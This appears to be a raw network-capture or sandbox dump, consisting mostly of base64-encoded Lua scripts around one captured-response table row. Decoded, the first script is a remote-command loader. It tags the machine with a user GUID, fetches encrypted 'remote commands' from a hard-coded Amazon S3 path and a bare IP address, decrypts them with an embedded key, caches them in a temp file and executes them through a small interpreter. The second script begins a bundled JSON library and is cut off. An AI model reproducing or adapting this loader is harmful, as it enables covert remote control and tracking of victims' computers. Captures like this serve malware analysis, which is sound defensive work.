LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.192.15.187:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
14 | /v2/tfn5306351516.html(13) | text/html | tfn5306351516.html(13) | 200 OK | TEXT | 46.2 KB | 08/08/05 01:38:58 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
